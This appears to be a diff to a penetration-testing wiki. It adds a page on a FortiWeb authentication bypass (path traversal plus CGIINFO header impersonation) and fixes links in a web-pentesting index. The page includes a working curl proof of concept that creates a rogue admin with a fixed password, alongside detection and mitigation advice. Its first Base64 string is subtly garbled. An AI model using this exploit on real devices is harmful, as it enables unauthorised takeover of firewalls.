When the impersonation function gets used to impersonate use...

src/SUMMARY.md

@@ -443,6 +443,7 @@
     - [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
     - [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
   - [Flask](network-services-pentesting/pentesting-web/flask.md)
+  - [Fortinet Fortiweb](network-services-pentesting/pentesting-web/fortinet-fortiweb.md)
   - [Git](network-services-pentesting/pentesting-web/git.md)
   - [Golang](network-services-pentesting/pentesting-web/golang.md)
   - [Grafana](network-services-pentesting/pentesting-web/grafana.md)

src/network-services-pentesting/pentesting-web/README.md

@@ -78,6 +78,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
 - [**CGI**](cgi.md)
 - [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
+- [**Fortinet FortiWeb**](fortinet-fortiweb.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
@@ -86,7 +87,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
 - [**IIS tricks**](iis-internet-information-services.md)
 - [**Microsoft SharePoint**](microsoft-sharepoint.md)
 - [**JBOSS**](jboss.md)
-- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
+- [**Jenkins**](https://github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)
 - [**Jira**](jira.md)
 - [**Joomla**](joomla.md)
 - [**JSP**](jsp.md)
@@ -237,7 +238,7 @@ Launch some kind of **spider** inside the web. The goal of the spider is to **fi
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
 - [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links)
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
@@ -293,7 +294,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
   - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
   - If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
-- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
   - Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
 - **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
 
@@ -312,7 +313,7 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
   - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
   - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
   - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
-  - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
+  - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
   - On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
 - You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
 
@@ -358,7 +359,10 @@ You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https
 
 ### HackTricks Automatic Commands
 
-```
+<details>
+<summary>HackTricks Automatic Commands</summary>
+
+```yaml
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.
 Protocol_Description: Web         #Protocol Abbreviation Spelled out
@@ -428,4 +432,6 @@ Entry_12:
   Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
 ```
 
+</details>
+
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md

@@ -0,0 +1,120 @@
+# Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Overview
+
+Fortinet FortiWeb exposes a centralized CGI dispatcher at `/cgi-bin/fwbcgi`. A two-bug chain allows an unauthenticated remote attacker to:
+- Reach `fwbcgi` by starting the URL with a valid API prefix and traversing directories.
+- Impersonate any user (including the built-in `admin`) by supplying a special HTTP header that the CGI trusts as identity.
+
+Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.
+
+Impacted versions (as publicly documented):
+- 8.0 < 8.0.2
+- 7.6 < 7.6.5
+- 7.4 < 7.4.10
+- 7.2 < 7.2.12
+- 7.0 < 7.0.12
+- 6.4 ≤ 6.4.3
+- 6.3 ≤ 6.3.23
+
+FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
+
+## Quick vulnerability probe
+
+- Path traversal from API prefix to `fwbcgi`:
+
+```http
+GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
+Host: <target>
+```
+
+- Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.
+
+## Root cause chain
+
+1) API-prefix path traversal to internal CGI
+- Any request path that begins with a valid FortiWeb API prefix (e.g., `/api/v2.0/cmdb/` or `/api/v2.0/cmd/`) can traverse with `../` to `/cgi-bin/fwbcgi`.
+
+2) Minimal-body validation bypass
+- Once `fwbcgi` is reached, a first gate performs a permissive JSON check keyed by a per-path file under `/var/log/inputcheck/`. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use `{}` as a minimal compliant body.
+
+3) Header-driven user impersonation
+- The program reads the CGI environment variable `HTTP_CGIINFO` (derived from the HTTP header `CGIINFO`), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest:
+  - `username`, `loginname`, `vdom`, `profname`
+- Example JSON to impersonate the built-in admin:
+
+```json
+{
+  "username": "admin",
+  "profname": "prof_admin",
+  "vdom": "root",
+  "loginname": "admin"
+}
+```
+
+Base64 of the above (as used in-the-wild):
+
+```
+eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
+```
+
+## End-to-end abuse pattern (unauthenticated → admin)
+
+1) Reach `/cgi-bin/fwbcgi` via an API-prefix traversal.
+2) Provide any valid JSON body (e.g., `{}`) to satisfy the input check.
+3) Send header `CGIINFO: <base64(json)>` where the JSON defines the target identity.
+4) POST the backend JSON expected by `fwbcgi` to perform privileged actions (e.g., create an admin user for persistence).
+
+### Minimal cURL PoC
+
+- Probe traversal exposure:
+
+```bash
+curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
+```
+
+- Impersonate admin and create a new local admin user:
+
+```bash
+# Base64(JSON) for admin impersonation
+B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
+
+curl -ik \
+  -H "CGIINFO: $B64" \
+  -H 'Content-Type: application/json' \
+  -X POST \
+  --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
+  'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
+```
+
+Notes:
+- Any valid JSON body suffices (e.g., `{}`) if `/var/log/inputcheck/<path>.json` does not exist.
+- The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.
+
+## Detection
+
+- Requests reaching `/cgi-bin/fwbcgi` via API-prefix paths containing `../` (e.g., `/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi`).
+- Presence of header `CGIINFO` with Base64 JSON containing keys `username`/`loginname`/`vdom`/`profname`.
+- Backend artifacts:
+  - Per-path files under `/var/log/inputcheck/` (gate configuration).
+  - Unexpected admin creation and configuration changes.
+- Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).
+
+## Mitigation
+
+- Upgrade to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.
+- Until patched:
+  - Do not expose FortiWeb management plane to untrusted networks.
+  - Add reverse-proxy/WAF rules to block:
+    - Paths that start with `/api/` and contain `../cgi-bin/fwbcgi`.
+    - Requests carrying a `CGIINFO` header.
+  - Monitor and alert on the detection indicators above.
+
+## References
+
+- [When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)](https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/)
+- [watchTowr vs FortiWeb Auth Bypass — Detection artefact generator](https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass)
+
+{{#include ../../banners/hacktricks-training.md}}